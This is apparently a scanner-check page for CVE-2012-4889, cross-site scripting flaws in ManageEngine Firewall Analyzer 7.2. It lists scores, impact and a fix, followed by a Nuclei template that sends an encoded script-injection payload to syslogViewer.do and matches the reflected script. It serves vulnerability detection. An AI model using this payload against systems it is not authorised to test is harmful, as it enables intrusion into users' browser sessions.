ManageEngine Firewall Analyzer 7.2 - Cross-Site Scripting

mediumseverity

4.3CVSS score

7.7%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Multiple cross-site scripting vulnerabilities in ManageEngine Firewall Analyzer 7.2 allow remote attackers to inject arbitrary web script or HTML via the (1) subTab or (2) tab parameter to createAnomaly.do; (3) url, (4) subTab, or (5) tab parameter to mindex.do; (6) tab parameter to index2.do; or (7) port parameter to syslogViewer.do.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.

Fix

Apply the latest security patch or upgrade to a newer version of ManageEngine Firewall Analyzer.

How to confirm it

Send: GET {{BaseURL}}/fw/syslogViewer.do?port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2012-4889 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2012-4889

info:
  name: ManageEngine Firewall Analyzer 7.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in ManageEngine Firewall Analyzer 7.2 allow remote attackers to inject arbitrary web script or HTML via the (1) subTab or (2) tab parameter to createAnomaly.do; (3) url, (4) subTab, or (5) tab parameter to mindex.do; (6) tab parameter to index2.do; or (7) port parameter to syslogViewer.do.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of ManageEngine Firewall Analyzer.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4889
    - http://packetstormsecurity.org/files/111474/VL-437.txt
    - http://www.vulnerability-lab.com/get_content.php?id=437
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74538
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4889
    cwe-id: CWE-79
    epss-score: 0.07718
    epss-percentile: 0.94663
    cpe: cpe:2.3:a:manageengine:firewall_analyzer:7.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: manageengine
    product: firewall_analyzer
  tags: cve,cve2012,xss,manageengine,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/fw/syslogViewer.do?port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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